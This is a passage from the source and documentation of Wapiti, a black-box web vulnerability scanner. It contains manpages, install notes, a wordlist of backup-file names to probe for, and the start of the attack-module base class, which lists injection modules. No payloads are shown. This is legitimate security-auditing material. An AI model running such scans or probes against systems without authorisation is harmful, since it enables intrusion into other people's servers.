|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
browsed_resources = list(urls) + list(forms)
|
||||
sorted_resources = sorted(browsed_resources, key=get_speed)
|
||||
self.log_cyan(_("Slowest resources found on the web server:"))
|
||||
for slow_resource in sorted_resources[:10]:
|
||||
self.log_cyan("---")
|
||||
speed = (slow_resource.size + 1) / slow_resource.duration
|
||||
self.log_cyan(_("With a download speed of {0} bps:").format(speed))
|
||||
self.log_cyan(slow_resource)
|
||||
yield
|
|
@ -0,0 +1,288 @@
|
|||
wapiti(1) -- A web application vulnerability scanner in Python
|
||||
==============================================================
|
||||
|
||||
## SYNOPSIS
|
||||
|
||||
`wapiti` -u <BASE_URL> [options]
|
||||
|
||||
## DESCRIPTION
|
||||
|
||||
Wapiti allows you to audit the security of your web applications.
|
||||
|
||||
It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.
|
||||
|
||||
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.
|
||||
|
||||
Wapiti is useful only to discover vulnerabilities : it is not an exploitation tools. Some well known applications can be used for the exploitation part like the recommanded sqlmap.
|
||||
|
||||
## OPTIONS SUMMARY
|
||||
|
||||
Here is a summary of options. It is essentially what you will get when you launch Wapiti without any argument.
|
||||
More detail on each option can be found in the following sections.
|
||||
|
||||
TARGET SPECIFICATION:
|
||||
|
||||
* `-u` <URL>
|
||||
* `--scope` {page,folder,domain,url}
|
||||
|
||||
ATTACK SPECIFICATION:
|
||||
|
||||
* `-m` <MODULES_LIST>
|
||||
* `--list-modules`
|
||||
* `-l` <LEVEL>
|
||||
|
||||
PROXY AND AUTHENTICATION OPTIONS:
|
||||
|
||||
* `-p` <PROXY_URL>
|
||||
* `-a` <CREDENTIALS>
|
||||
* `--auth-type` {basic,digest,kerberos,ntlm}
|
||||
* `-c` <COOKIE_FILE>
|
||||
|
||||
SESSION OPTIONS:
|
||||
|
||||
* `--skip-crawl`
|
||||
* `--resume-crawl`
|
||||
* `--flush-attacks`
|
||||
* `--flush-session`
|
||||
|
||||
SCAN AND ATTACKS TUNING:
|
||||
|
||||
* `-s` <URL>
|
||||
* `-x` <URL>
|
||||
* `-r` <PARAMETER>
|
||||
* `--skip` <PARAMETER>
|
||||
* `-d` <DEPTH>
|
||||
* `--max-links-per-page` <MAX_LINKS_PER_PAGE>
|
||||
* `--max-files-per-dir` <MAX_FILES_PER_DIR>
|
||||
* `--max-scan-time` <MAX_SCAN_TIME>
|
||||
* `--max-parameters` <MAX>
|
||||
* `-S`, `--scan-force` {paranoid,sneaky,polite,normal,aggressive,insane}
|
||||
|
||||
HTTP AND NETWORK OPTIONS:
|
||||
|
||||
* `-t` <SECONDS>
|
||||
* `-H` <HEADER>
|
||||
* `-A` <AGENT>
|
||||
* `--verify-ssl` {0,1}
|
||||
|
||||
OUTPUT OPTIONS:
|
||||
|
||||
* `--color`
|
||||
* `-v` <LEVEL>
|
||||
|
||||
REPORT OPTIONS:
|
||||
|
||||
* `-f` {json,html,txt,openvas,vulneranet,xml}
|
||||
* `-o` <OUPUT_PATH>
|
||||
|
||||
OTHER OPTIONS:
|
||||
|
||||
* `--no-bugreport`
|
||||
* `--version`
|
||||
* `-h`
|
||||
|
||||
## TARGET SPECIFICATION
|
||||
|
||||
* `-u`, `--url` <URL>
|
||||
The URL that will be used as the base for the scan. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see --scope for details).
|
||||
This is the only required argument. The scheme part of the URL must be either http or https.
|
||||
|
||||
* `--scope` <SCOPE>
|
||||
Define the scope of the scan and attacks. Valid choices are :
|
||||
- url : will only scan and attack the exact base URL given with -u option
|
||||
- page : will attack every URL matching the path of the base URL (every query string variation)
|
||||
- folder : will scan and attack every URL starting with the base URL value. This base URL should have a trailing slash (no filename)
|
||||
- domain : will scan and attack every URL whose domain name match the one from the base URL.
|
||||
|
||||
## ATTACK SPECIFICATION
|
||||
|
||||
* `-m`, `--module` <MODULE_LIST>
|
||||
Set the list of attack modules (modules names separated with commas) to launch against the target.
|
||||
Default behavior (when the option is not set) is to use the most common modules.
|
||||
Common modules can also be specified using the "common" keyword.
|
||||
To launch a scan without launching any attack, just give an empty value (-m "").
|
||||
You can filter on http methods too (only get or post). For example -m "xss:get,exec:post".
|
||||
|
||||
* `--list-modules`
|
||||
Print the list of available Wapiti modules and exit.
|
||||
|
||||
* `-l`, `--level` <LEVEL>
|
||||
In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL.
|
||||
While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success.
|
||||
This behavior is now hidden behind this option and can be reactivated by setting -l to 2.
|
||||
It may be useful on CGIs when developers have to parse the query-string themselves.
|
||||
Default value for this option is 1.
|
||||
|
||||
## PROXY AND AUTHENTICATION OPTIONS
|
||||
|
||||
* `-p`, `--proxy` <PROXY_URL>
|
||||
The given URL will be used as a proxy for HTTP and HTTPS requests. This URL can have one of the following scheme : http, https, socks.
|
||||
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/
|
||||
|
||||
* `-a`, `--auth-cred` <CREDENTIALS>
|
||||
Set credentials to use for HTTP authentication on the target.
|
||||
Given value should be in the form login%password (% is used as a separator)
|
||||
|
||||
* `--auth-type` <TYPE>
|
||||
Set the authentication mechanism to use. Valid choices are basic, digest, kerberos and ntlm.
|
||||
Kerberos and NTLM authentication may require you to install additionnal Python modules.
|
||||
|
||||
* `-c`, `--cookie` <COOKIE_FILE>
|
||||
Load cookies from a Wapiti JSON cookie file. See wapiti-getcookie(1) for more informations.
|
||||
|
||||
## SESSION OPTIONS
|
||||
|
||||
Since Wapiti 3.0.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files.
|
||||
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status.
|
||||
Following options allows you to bypass this behavior/
|
||||
|
||||
* `--skip-crawl`
|
||||
If a previous scan was performed but wasn't finished, don't resume the scan.
|
||||
Attack will be made on currently known URLs without scanning more.
|
||||
|
||||
* `--resume-crawl`
|
||||
If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored.
|
||||
Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session.
|
||||
|
||||
* `--flush-attacks`
|
||||
Forget everything about discovered vulnerabilities and which URL was attacked by which module.
|
||||
Only the scan (crawling) informations will be kept.
|
||||
|
||||
* `--flush-session`
|
||||
Forget everything about the target for the given scope.
|
||||
|
||||
## SCAN AND ATTACKS TUNING
|
||||
|
||||
* `-s`, `--start` <URL>
|
||||
If for some reasons, Wapiti doesn't find any (or enough) URLs from the base URL you can still add URLs to start the scan with.
|
||||
Those URLs will be given a depth of 0, just like the base URL.
|
||||
This option can be called several times.
|
||||
You can also give it a filename and Wapiti will read URLs from the given file (must be UTF-8 encoded), one URL per line.
|
||||
|
||||
* `-x`, `--exclude` <URL>
|
||||
Prevent the given URL from being scanned. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with --cookie).
|
||||
This option can be applied several times. Excluded URL given as a parameter can contain wildcards for basic pattern matching.
|
||||
|
||||
* `-r`, `--remove` <PARAMETER>
|
||||
If the given parameter is found in scanned URL it will be automatically removed (URLs are edited).
|
||||
This option can be used several times.
|
||||
|
||||
* `--skip` <PARAMETER>
|
||||
Given parameter will be kept in URLs and forms but won't be attacked.
|
||||
Useful if you already know non-vulnerable parameters.
|
||||
|
||||
* `-d`, `--depth` <DEPTH>
|
||||
When Wapiti crawls a website it gives each found URL a depth value.
|
||||
The base URL, and additionnal starting URLs (-s) are given a depth of 0.
|
||||
Each link found in thoses URLs got a depth of 1, and so on.
|
||||
Default maximum depth is 40 and is very large.
|
||||
This limit make sure the scan will stop at some time.
|
||||
For a fast scan a depth inferior to 5 is recommanded.
|
||||
|
||||
* `--max-links-per-page` <MAX>
|
||||
This is another option to be able to reduce the number of URLs discovered by the crawler.
|
||||
Only the first MAX links of each webpage will be extracted.
|
||||
This option is not really effective as the same link may appear on different webpages.
|
||||
It should be useful is rare conditions, for exeample when there is a lot a webpages without query string.
|
||||
|
||||
* `--max-files-per-dir` <MAX>
|
||||
Limit the number of URLs to crawl under each folder found on the webserver.
|
||||
Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is.
|
||||
Like the previous option it should be useful only in certain situations.
|
||||
|
||||
* `--max-scan-time` <MINUTES>
|
||||
Stop the scan after MINUTES minutes if it is still running.
|
||||
Should be useful to automatise scanning from another process (continuous testing).
|
||||
|
||||
* `--max-parameters` <MAX>
|
||||
URLs and forms having more than MAX input parameters will be discarded before launching attack modules.
|
||||
|
||||
* `-S`, `--scan-force` <FORCE>
|
||||
The more input parameters an URL or form have, the more requests Wapiti will send.
|
||||
The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge ammount of time.
|
||||
Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when
|
||||
the number of parameters grows.
|
||||
The formula is `maximum_allowed_patterns = 220 / (math.exp(number_of_parameters * factor) ** 2)`
|
||||
where factor is an internal value controller by the <FORCE> value you give as an option.
|
||||
Availables choices are : paranoid, sneaky, polite, normal, aggressive, insane.
|
||||
Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more).
|
||||
Insane mode just remove the calculation of thoses limits, every URL will be attacked.
|
||||
Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more).
|
||||
|
||||
## HTTP AND NETWORK OPTIONS
|
||||
|
||||
* `-t`, `--timemout` <SECONDS>
|
||||
Time to wait (in seconds) for a HTTP response before considering failure.
|
||||
|
||||
* `-H`, `--header` <HEADER>
|
||||
Set a custom HTTM header to inject in every request sent by Wapiti.
|
||||
This option can be used several times.
|
||||
Value should be a standard HTTP header line (parameter and value separated with a : sign).
|
||||
|
||||
* `-A`, `--user-agent` <AGENT>
|
||||
Default behavior of Wapiti is to use the same User-Agent as the TorBrowser, making it discreet when crawling standard website or .onion ones.
|
||||
But you may have to change it to bypass some restrictions so this option is here.
|
||||
|
||||
* `--verify-ssl` <VALUE>
|
||||
Wapiti doesn't care of certificates validation by default. That behavior can be changed by passing 1 as a value to that option.
|
||||
|
||||
|
||||
## OUTPUT OPTIONS
|
||||
|
||||
Wapiti prints its status to standard output. The two following options allow to tune the output.
|
||||
|
||||
* `--color`
|
||||
Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information).
|
||||
|
||||
* `-v`, `--verbose` <LEVEL>
|
||||
Set the level of verbosity for the output.
|
||||
Possible values are quiet (O), normal (1, default behavior) and verbose (2).
|
||||
|
||||
## REPORT OPTIONS
|
||||
|
||||
Wapiti will generate a report at the end of the attack process. Several formats of reports are available.
|
||||
|
||||
* `-f`, `--format` <FORMAT>
|
||||
Set the format of the report. Valid choices are json, html, txt, openvas, vulneranet and xml.
|
||||
Although the HTML reports were rewritten to be more responsive, they still are impraticable when there is a lot of found vulnerabilities.
|
||||
|
||||
* `-o`, `--output` <OUTPUT_PATH>
|
||||
Set the path were the report will be generated.
|
||||
|
||||
## OTHER OPTIONS
|
||||
|
||||
* `--version`
|
||||
Print Wapiti version then exit.
|
||||
|
||||
* `--no-bugreport`
|
||||
If a Wapiti attack module crashes of a non-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability. Note that only the content of the report is kept.
|
||||
You can still prevent reports from being sent using that option.
|
||||
|
||||
* `-h`, `--help`
|
||||
Show detailed options description. More details are available in this manpage though.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Wapiti is covered by the GNU General Public License (GPL), version 2.
|
||||
Please read the COPYING file for more information.
|
||||
|
||||
## COPYRIGHT
|
||||
|
||||
Copyright (c) 2006-2018 Nicolas Surribas.
|
||||
|
||||
## AUTHORS
|
||||
|
||||
Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.
|
||||
|
||||
## WEBSITE
|
||||
|
||||
http://wapiti.sourceforge.net/
|
||||
|
||||
## BUG REPORTS
|
||||
|
||||
If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/
|
||||
|
||||
## SEE ALSO
|
||||
|
||||
The INSTALL.md file that comes with Wapiti contains every information required to install Wapiti.
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,32 @@
|
|||
[FILE_NAME]~
|
||||
[FILE_NAME].backup
|
||||
[FILE_NAME].bck
|
||||
[FILE_NAME].old
|
||||
[FILE_NAME].save
|
||||
[FILE_NAME].bak
|
||||
.[FILE_NAME].swp
|
||||
[FILE_NAME].zip
|
||||
[FILE_NAME].rar
|
||||
[FILE_NAME].tar.gz
|
||||
[FILE_NAME].tgz
|
||||
[FILE_NAME].tar.bz2
|
||||
[FILE_NAME].tbz2
|
||||
[FILE_NAME].7zip
|
||||
[FILE_NOEXT].backup
|
||||
[FILE_NOEXT].bck
|
||||
[FILE_NOEXT].old
|
||||
[FILE_NOEXT].save
|
||||
[FILE_NOEXT].bak
|
||||
[FILE_NOEXT].zip
|
||||
[FILE_NOEXT].rar
|
||||
[FILE_NOEXT].tar.gz
|
||||
[FILE_NOEXT].tgz
|
||||
[FILE_NOEXT].tar.bz2
|
||||
[FILE_NOEXT].tbz2
|
||||
[FILE_NOEXT].7zip
|
||||
backup.tgz
|
||||
backup.zip
|
||||
backup.7zip
|
||||
backup.tar.gz
|
||||
backup.tar.bz2
|
||||
backup.sql
|
|
@ -0,0 +1,52 @@
|
|||
Introduction
|
||||
============
|
||||
|
||||
All installation methods assume you already have a Python 3.4 or more recent on your system.
|
||||
|
||||
Note that if you have all the requirements pre-installed on your system, it is not necessary to use the setup.py script
|
||||
to use Wapiti : just extract the archive and launch the "wapiti" command line in the "bin" folder :
|
||||
|
||||
`./bin/wapiti` or `python bin/wapiti`.
|
||||
|
||||
You may want to install Wapiti to the system just to make access easier.
|
||||
If you haven't sufficient privileges are you are afraid of beaking some dependencies in your python packages then
|
||||
using a virtual environment is the way to go. Just refer to the related section.
|
||||
|
||||
Otherwise you will have to launch setup.py as a privileged user.
|
||||
|
||||
Enjoy Wapiti.
|
||||
|
||||
|
||||
Installing Wapiti using a virtual environment
|
||||
=============================================
|
||||
|
||||
Let's create a virtual environment called 'wapiti3'.
|
||||
In this example it will be created in the current working directory.
|
||||
|
||||
`python -m venv wapiti3`
|
||||
|
||||
Now let's activate it (make it our current working environnement) :
|
||||
|
||||
`. ./wapiti3/bin/activate`
|
||||
|
||||
Or alternatively on Windows :
|
||||
|
||||
`wapiti3\Scripts\activate.bat`
|
||||
|
||||
Now you are in the virtual environment you can install Wapiti and its dependencies :
|
||||
|
||||
`python3 setup.py install`
|
||||
|
||||
To leave the virtual environnement just call the following command :
|
||||
|
||||
`deactivate`
|
||||
|
||||
Remember that you will need to reactivate the environment each time you want to use Wapiti.
|
||||
|
||||
|
||||
Installing Wapiti without virtual environment
|
||||
=============================================
|
||||
|
||||
You can install wapiti the regular way :
|
||||
|
||||
`python setup.py install`
|
|
@ -0,0 +1,46 @@
|
|||
wapiti-getcookie(1) -- A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.
|
||||
=================================================================================================================
|
||||
|
||||
## SYNOPSIS
|
||||
|
||||
`wapiti` -u <URL> -c <COOKIE> [options]
|
||||
|
||||
## DESCRIPTION
|
||||
|
||||
wapiti-getcookie is a user-friendly interractive console utility that can be used to fill a web-form or fetch an URL
|
||||
and extract the cookies sent by the remote server.
|
||||
Cookie informations are stored in the JSON cookie file you have to specify with the -c option.
|
||||
Those cookies can be loaded by Wapiti using the same -c option.
|
||||
|
||||
## OPTIONS
|
||||
|
||||
* `-p`, `--proxy` <PROXY_URL>
|
||||
The given URL will be used as a proxy for HTTP and HTTPS requests.
|
||||
This URL can have one of the following scheme : http, https, socks.
|
||||
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/
|
||||
|
||||
* `-d`, `--data` <DATA>
|
||||
wapiti-getcookie will parse forms and ask your input for each field found.
|
||||
But you can also pass every parameter and value as a string directly through this option.
|
||||
Example: -d 'login=admin&password=letmein&submit=Login'
|
||||
|
||||
## LICENSE
|
||||
|
||||
Wapiti is covered by the GNU General Public License (GPL), version 2.
|
||||
Please read the COPYING file for more information.
|
||||
|
||||
## COPYRIGHT
|
||||
|
||||
Copyright (c) 2006-2018 Nicolas Surribas.
|
||||
|
||||
## AUTHORS
|
||||
|
||||
Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.
|
||||
|
||||
## WWW
|
||||
|
||||
http://wapiti.sourceforge.net/
|
||||
|
||||
## BUG REPORTS
|
||||
|
||||
If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/
|
|
@ -0,0 +1,139 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv='content-type' value='text/html;charset=utf8'>
|
||||
<meta name='generator' value='Ronn/v0.7.3 (http://github.com/rtomayko/ronn/tree/0.7.3)'>
|
||||
<title>wapiti-getcookie(1) - A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.</title>
|
||||
<style type='text/css' media='all'>
|
||||
/* style: man */
|
||||
body#manpage {margin:0}
|
||||
.mp {max-width:100ex;padding:0 9ex 1ex 4ex}
|
||||
.mp p,.mp pre,.mp ul,.mp ol,.mp dl {margin:0 0 20px 0}
|
||||
.mp h2 {margin:10px 0 0 0}
|
||||
.mp > p,.mp > pre,.mp > ul,.mp > ol,.mp > dl {margin-left:8ex}
|
||||
.mp h3 {margin:0 0 0 4ex}
|
||||
.mp dt {margin:0;clear:left}
|
||||
.mp dt.flush {float:left;width:8ex}
|
||||
.mp dd {margin:0 0 0 9ex}
|
||||
.mp h1,.mp h2,.mp h3,.mp h4 {clear:left}
|
||||
.mp pre {margin-bottom:20px}
|
||||
.mp pre+h2,.mp pre+h3 {margin-top:22px}
|
||||
.mp h2+pre,.mp h3+pre {margin-top:5px}
|
||||
.mp img {display:block;margin:auto}
|
||||
.mp h1.man-title {display:none}
|
||||
.mp,.mp code,.mp pre,.mp tt,.mp kbd,.mp samp,.mp h3,.mp h4 {font-family:monospace;font-size:14px;line-height:1.42857142857143}
|
||||
.mp h2 {font-size:16px;line-height:1.25}
|
||||
.mp h1 {font-size:20px;line-height:2}
|
||||
.mp {text-align:justify;background:#fff}
|
||||
.mp,.mp code,.mp pre,.mp pre code,.mp tt,.mp kbd,.mp samp {color:#131211}
|
||||
.mp h1,.mp h2,.mp h3,.mp h4 {color:#030201}
|
||||
.mp u {text-decoration:underline}
|
||||
.mp code,.mp strong,.mp b {font-weight:bold;color:#131211}
|
||||
.mp em,.mp var {font-style:italic;color:#232221;text-decoration:none}
|
||||
.mp a,.mp a:link,.mp a:hover,.mp a code,.mp a pre,.mp a tt,.mp a kbd,.mp a samp {color:#0000ff}
|
||||
.mp b.man-ref {font-weight:normal;color:#434241}
|
||||
.mp pre {padding:0 4ex}
|
||||
.mp pre code {font-weight:normal;color:#434241}
|
||||
.mp h2+pre,h3+pre {padding-left:0}
|
||||
ol.man-decor,ol.man-decor li {margin:3px 0 10px 0;padding:0;float:left;width:33%;list-style-type:none;text-transform:uppercase;color:#999;letter-spacing:1px}
|
||||
ol.man-decor {width:100%}
|
||||
ol.man-decor li.tl {text-align:left}
|
||||
ol.man-decor li.tc {text-align:center;letter-spacing:4px}
|
||||
ol.man-decor li.tr {text-align:right;float:right}
|
||||
</style>
|
||||
<style type='text/css' media='all'>
|
||||
/* style: toc */
|
||||
.man-navigation {display:block !important;position:fixed;top:0;left:113ex;height:100%;width:100%;padding:48px 0 0 0;border-left:1px solid #dbdbdb;background:#eee}
|
||||
.man-navigation a,.man-navigation a:hover,.man-navigation a:link,.man-navigation a:visited {display:block;margin:0;padding:5px 2px 5px 30px;color:#999;text-decoration:none}
|
||||
.man-navigation a:hover {color:#111;text-decoration:underline}
|
||||
</style>
|
||||
</head>
|
||||
<!--
|
||||
The following styles are deprecated and will be removed at some point:
|
||||
div#man, div#man ol.man, div#man ol.head, div#man ol.man.
|
||||
|
||||
The .man-page, .man-decor, .man-head, .man-foot, .man-title, and
|
||||
.man-navigation should be used instead.
|
||||
-->
|
||||
<body id='manpage'>
|
||||
<div class='mp' id='man'>
|
||||
|
||||
<div class='man-navigation' style='display:none'>
|
||||
<a href="#NAME">NAME</a>
|
||||
<a href="#SYNOPSIS">SYNOPSIS</a>
|
||||
<a href="#DESCRIPTION">DESCRIPTION</a>
|
||||
<a href="#OPTIONS">OPTIONS</a>
|
||||
<a href="#LICENSE">LICENSE</a>
|
||||
<a href="#COPYRIGHT">COPYRIGHT</a>
|
||||
<a href="#AUTHORS">AUTHORS</a>
|
||||
<a href="#WWW">WWW</a>
|
||||
<a href="#BUG-REPORTS">BUG REPORTS</a>
|
||||
</div>
|
||||
|
||||
<ol class='man-decor man-head man head'>
|
||||
<li class='tl'>wapiti-getcookie(1)</li>
|
||||
<li class='tc'></li>
|
||||
<li class='tr'>wapiti-getcookie(1)</li>
|
||||
</ol>
|
||||
|
||||
<h2 id="NAME">NAME</h2>
|
||||
<p class="man-name">
|
||||
<code>wapiti-getcookie</code> - <span class="man-whatis">A Wapiti utility to fetch cookies from a webpage and store them in the Wapiti JSON format.</span>
|
||||
</p>
|
||||
|
||||
<h2 id="SYNOPSIS">SYNOPSIS</h2>
|
||||
|
||||
<p><code>wapiti</code> -u <var>URL</var> -c <var>COOKIE</var> <a href="#OPTIONS" title="OPTIONS" data-bare-link="true">options</a></p>
|
||||
|
||||
<h2 id="DESCRIPTION">DESCRIPTION</h2>
|
||||
|
||||
<p>wapiti-getcookie is a user-friendly interractive console utility that can be used to fill a web-form or fetch an URL
|
||||
and extract the cookies sent by the remote server.<br />
|
||||
Cookie informations are stored in the JSON cookie file you have to specify with the -c option.<br />
|
||||
Those cookies can be loaded by Wapiti using the same -c option.</p>
|
||||
|
||||
<h2 id="OPTIONS">OPTIONS</h2>
|
||||
|
||||
<ul>
|
||||
<li><p><code>-p</code>, <code>--proxy</code> <var>PROXY_URL</var><br />
|
||||
The given URL will be used as a proxy for HTTP and HTTPS requests.<br />
|
||||
This URL can have one of the following scheme : http, https, socks.<br />
|
||||
To make Wapiti use a Tor listener you can use --proxy socks://127.0.0.1:9050/</p></li>
|
||||
<li><p><code>-d</code>, <code>--data</code> <var>DATA</var><br />
|
||||
wapiti-getcookie will parse forms and ask your input for each field found.<br />
|
||||
But you can also pass every parameter and value as a string directly through this option.<br />
|
||||
Example: -d 'login=admin&password=letmein&submit=Login'</p></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2 id="LICENSE">LICENSE</h2>
|
||||
|
||||
<p>Wapiti is covered by the GNU General Public License (GPL), version 2.
|
||||
Please read the COPYING file for more information.</p>
|
||||
|
||||
<h2 id="COPYRIGHT">COPYRIGHT</h2>
|
||||
|
||||
<p>Copyright (c) 2006-2018 Nicolas Surribas.</p>
|
||||
|
||||
<h2 id="AUTHORS">AUTHORS</h2>
|
||||
|
||||
<p>Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file.</p>
|
||||
|
||||
<h2 id="WWW">WWW</h2>
|
||||
|
||||
<p>http://wapiti.sourceforge.net/</p>
|
||||
|
||||
<h2 id="BUG-REPORTS">BUG REPORTS</h2>
|
||||
|
||||
<p>If you find a bug in Wapiti please report it to https://sourceforge.net/p/wapiti/bugs/</p>
|
||||
|
||||
|
||||
<ol class='man-decor man-foot man foot'>
|
||||
<li class='tl'></li>
|
||||
<li class='tc'>January 2018</li>
|
||||
<li class='tr'>wapiti-getcookie(1)</li>
|
||||
</ol>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,431 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import os
|
||||
import sys
|
||||
from os.path import splitext, join as path_join
|
||||
from urllib.parse import quote
|
||||
from collections import defaultdict
|
||||
from enum import Enum
|
||||
from math import ceil
|
||||
import random
|
||||
from types import GeneratorType, FunctionType
|
||||
|
||||
from wapitiCore.net.web import Request
|
||||
|
||||
|
||||
modules = [
|
||||
"mod_crlf",
|
||||
"mod_exec",
|
||||
"mod_file",
|
||||
"mod_sql",
|
||||
"mod_xss",
|
||||
"mod_backup",
|
||||
"mod_htaccess",
|
||||
"mod_blindsql",
|
||||
"mod_permanentxss",
|
||||
"mod_nikto",
|
||||
"mod_delay",
|
||||
"mod_buster",
|
||||
"mod_shellshock",
|
||||
"mod_methods",
|
||||
"mod_ssrf"
|
||||
]
|
||||
|
||||
commons = ["blindsql", "exec", "file", "permanentxss", "sql", "xss", "ssrf"]
|
||||
|
||||
|
||||
class PayloadType(Enum):
|
||||
pattern = 1
|
||||
time = 2
|
||||
get = 3
|
||||
post = 4
|
||||
file = 5
|
||||
|
||||
|
||||
COMMON_ANNOYING_PARAMETERS = (
|
||||
"__VIEWSTATE",
|
||||
"__VIEWSTATEENCRYPTED",
|
||||
"__VIEWSTATEGENERATOR",
|
||||
"__EVENTARGUMENT",
|
||||
"__EVENTTARGET",
|
||||
"__EVENTVALIDATION",
|
||||
"ASPSESSIONID",
|
||||
"ASP.NET_SESSIONID",
|
||||
"JSESSIONID",
|
||||
"CFID",
|
||||
"CFTOKEN"
|
||||
)
|
||||
|
||||
|
||||
class Attack:
|
||||
"""This class represents an attack, it must be extended for any class which implements a new type of attack"""
|
||||
|
||||
name = "attack"
|
||||
|
||||
do_get = True
|
||||
do_post = True
|
||||
|
||||
# List of modules (strings) that must be launched before the current module
|
||||
# Must be defined in the code of the module
|
||||
require = []
|
||||
|
||||
BASE_DIR = os.path.dirname(sys.modules["wapitiCore"].__file__)
|
||||
CONFIG_DIR = os.path.join(BASE_DIR, "config", "attacks")
|
||||
PAYLOADS_FILE = None
|
||||
|
||||
# Color codes
|
||||
STD = "\033[0;0m"
|
||||
RED = "\033[0;31m"
|
||||
GREEN = "\033[0;32m"
|
||||
ORANGE = "\033[0;33m"
|
||||
YELLOW = "\033[1;33m"
|
||||
BLUE = "\033[1;34m"
|
||||
MAGENTA = "\033[0;35m"
|
||||
CYAN = "\033[0;36m"
|
||||
GB = "\033[0;30m\033[47m"
|
||||
|
||||
allowed = [
|
||||
'php', 'html', 'htm', 'xml', 'xhtml', 'xht', 'xhtm',
|
||||
'asp', 'aspx', 'php3', 'php4', 'php5', 'txt', 'shtm',
|
||||
'shtml', 'phtm', 'phtml', 'jhtml', 'pl', 'jsp', 'cfm',
|
||||
'cfml', 'py'
|
||||
]
|
||||
|
||||
# The priority of the module, from 0 (first) to 10 (last). Default is 5
|
||||
PRIORITY = 5
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
super().__init__()
|
||||
self.crawler = crawler
|
||||
self.persister = persister
|
||||
self.add_vuln = persister.add_vulnerability
|
||||
self.add_anom = persister.add_anomaly
|
||||
self.payload_reader = PayloadReader(timeout=attack_options["timeout"])
|
||||
self.options = attack_options
|
||||
|
||||
# List of attack urls already launched in the current module
|
||||
self.attacked_get = []
|
||||
self.attacked_post = []
|
||||
|
||||
self.vulnerable_get = []
|
||||
self.vulnerable_post = []
|
||||
|
||||
self.verbose = 0
|
||||
self.color = 0
|
||||
|
||||
# List of modules (objects) that must be launched before the current module
|
||||
# Must be left empty in the code
|
||||
self.deps = []
|
||||
|
||||
self._logger = logger
|
||||
self.log = self._logger.log
|
||||
self.log_blue = self._logger.log_blue
|
||||
self.log_cyan = self._logger.log_cyan
|
||||
self.log_green = self._logger.log_green
|
||||
self.log_magenta = self._logger.log_magenta
|
||||
self.log_orange = self._logger.log_orange
|
||||
self.log_red = self._logger.log_red
|
||||
self.log_white = self._logger.log_white
|
||||
self.log_yellow = self._logger.log_yellow
|
||||
|
||||
def set_verbose(self, verbose):
|
||||
self.verbose = verbose
|
||||
|
||||
def set_color(self):
|
||||
self.color = 1
|
||||
|
||||
@property
|
||||
def payloads(self):
|
||||
"""Load the payloads from the specified file"""
|
||||
if self.PAYLOADS_FILE:
|
||||
return self.payload_reader.read_payloads(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE))
|
||||
return []
|
||||
|
||||
def load_require(self, dependancies: list = None):
|
||||
self.deps = dependancies
|
||||
|
||||
@property
|
||||
def attack_level(self):
|
||||
return self.options["level"]
|
||||
|
||||
@property
|
||||
def must_attack_query_string(self):
|
||||
return self.attack_level == 2
|
||||
|
||||
def attack(self):
|
||||
raise NotImplementedError("Override me bro")
|
||||
|
||||
def get_mutator(self):
|
||||
methods = ""
|
||||
if self.do_get:
|
||||
methods += "G"
|
||||
if self.do_post:
|
||||
methods += "PF"
|
||||
|
||||
return Mutator(
|
||||
methods=methods,
|
||||
payloads=self.payloads,
|
||||
qs_inject=self.must_attack_query_string,
|
||||
skip=self.options.get("skipped_parameters")
